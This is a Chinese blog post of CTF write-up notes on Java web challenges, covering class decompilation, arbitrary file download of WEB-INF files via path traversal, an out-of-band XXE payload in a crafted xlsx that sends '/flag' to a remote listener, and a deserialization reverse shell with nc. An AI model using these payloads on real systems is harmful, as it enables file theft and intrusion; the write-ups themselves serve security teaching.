• 85:CTF夺旗JAVA考点反编译&XXE&反序列化


    思维导图

    Java常考点及出题思路

    考点技术:xxe,spel表达式,反序列化,文件安全,最新框架插件漏洞等

    设法间接给出源码或相关配置提示文件,间接性源码或直接源码体现等形式

    CTF中常见Web源码泄露总结(参考:https://www.cnblogs.com/xishaonian/p/7628153.html)

    1. .ng源码泄露
    2. git源码泄露
    3. .Ds_store文件泄漏
    4. 网站备份压缩文件
    5. SVN导致文件泄露
    6. WEB-INF/web. xml泄露
    7. CVS泄漏

    Java必备知识点

    反编译,基础的Java代码认知及审计能力,熟悉相关最新的漏洞,常见漏洞等

    本课重点:

    • 案例1:Java简单逆向解密-Reverse-buuoj-逆向源码
    • 案例2:RoarCTF-2019-easy_java-配置到源码
    • 案例3:网鼎杯2020-青龙组-filejava-ctfhub-配置到源码
    • 案例4:网鼎杯-朱雀组-Web-think_java-直接源码审计

    案例1:Java简单逆向解密-Reverse-buuoj-逆向源码

    靶场地址:https://buuoj.cn/challenges#Java逆向解密

    知识点:java项目格式解析,加解密脚本等

    下载提示文件-class反编译Java文件-加密算法-解密脚本

    <1>下载附件,将源码用idea打开,分析加密算法,得知加密算法时是将原始key先加64再异或32得到加密后的key,如下图所示。

    <2>自己编写一个解密算法,将加密后的key先异或32再减64,得到原始key。

    案例2:RoarCTF-2019-easy_java-配置到源码

    靶场地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java

    知识点:下载漏洞利用,配置文件解析,Javaweb项目结构等

    提示-下载漏洞-更换请求方法-获取源码配置文件-指向Flag-下载class-反编译

    WEB-INF主要包含以下文件或目录:

    • /WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
    • /WEB-INF/classes/:包含了站点所有用的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中
    • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    • /WEB-INF/database.properties:数据库配置文件

    漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接查看或下载class文件,再通过反编译class文件,得到网站源码

    <1>进入场景,是个登录框

    <2>点击help,显示如下,url为/Download?filename=help.docx,猜测有任意文件下载漏洞。

     

    <3>尝试下载/WEB-INF/web.xml文件,失败。

    <4>改为post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)。

    <5>根据web.xml内容,找到与Flag相关class,尝试下载,下载成功

    POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
    

     

    <6>反编译class文件,得到网站源码,找到base64编码后的flag。

    <7>经过base64解码,得到flag。

    案例3:网鼎杯2020-青龙组-filejava-ctfhub-配置到源码

    https://xz.aliyun.com/t/7272 一篇文章读懂Java代码审计之XXE
    https://www.jianshu.com/p/73cd11d83c30 Apache POI XML外部实体(XML External Entity,XXE)攻击详解
    https://blog.spoock.com/2018/10/23/java-xxe/ JAVA常见的XXE漏洞写法和防御
    https://www.cnblogs.com/tr1ple/p/12522623.html Java XXE漏洞典型场景分析

    靶场地址:https://www.ctfhub.com/#/challenge 搜索FileJava

    过关思路:
    JavaWeb程序,编译class格式,配置文件获取文件路径信息,IDEA打开查看
    ../../../../WEB-INF/web.xml
    ../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
    ../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
    ../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
    代码审计Javaweb代码,发现flag位置,文件下载获取?过滤,利用漏洞XXE安全

    <1>页面打开如下,是一个文件上传功能。

    <2>随便上传一个文件,发现返回一个文件下载链接。

    <3>点击文件下载,看到请求包格式,猜测有任意文件下载漏洞。

    <4>构造filename值,尝试下载/WEB-INF/web.xml文件,下载成功

    <5>根据/WEB-INF/web.xml文件内容,找到class文件,全部下载

    filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
    filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
    filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
    

    <6>idea反编译class文件,得到网站源码,分析源码,发现文件下载时过滤flag关键字,因此不能在此处直接下载flag文件。

    <7>继续分析源码,找到poi-ooxml-3.10,该版本存在XXE漏洞(CVE-2014-3529)

    <8>构造上传文件

    (a)本地新建excel-aaa.xlsx文件,修改后缀名.zip,打开压缩包,其中有[Content-Types].xml文件。

     (b)修改[Content-Types].xml,第二行添加如下内容,保存。

    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://远程服务器IP:3333/xxx.dtd">
    %remote;%int;%send;
    ]>
    

    (c)将修改后的压缩包重新修改后缀为.xlsx文件

    <9>构造远程监控

    (a)进入远程服务器WEB根目录,创建文件xxx.dtd,添加内容

    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY % send SYSTEM '远程服务器IP:3333/%file;'>">
    

    (b)启动监控 :nc -lvvp 3333

    <10>一切准备就绪,上传excel-aaa.xlsx文件

    <11>查看nc监听结果,得到flag

    案例4:网鼎杯-朱雀组-Web-think_java-直接源码审计

    靶场地址:https://www.ctfhub.com/\#/challenge

    解题思路:

    • 注入判断,获取管理员帐号密码
    • /swagger-ui.html接口测试,回显序列化token(rO0AB开头)
    • SerializationDumper工具生成反序列化payload(反弹shell)-->base64编码-->最终payload
    • 使用该payload访问接口/common/user/current
    • 启动监听,获取flag:nc -lvvp 4444

    具体解题步骤参考:38:WEB漏洞-反序列化之PHP&JAVA全解(下)(https://www.cnblogs.com/zhengna/p/15737517.html)

  • 相关阅读:
    SPI masterslave驱动框架分析
    linux内存分配方法总结
    C#图片适应PictureBox大小显示
    .NET下的AO对象的安全释放
    .net C# PropertyGrid 显示下拉列表
    Oracle事务细节问题
    C#中Remoting的IPC通信之Winform与Windows服务通信错误问题及解决
    windows服务的安装与卸载
    windows环境下Oracle数据库冷备份和恢复全过程
    OGR连接数据源读取矢量数据图层(C#)
  • 原文地址:https://www.cnblogs.com/zhengna/p/15812157.html
Copyright © 2020-2023  润新知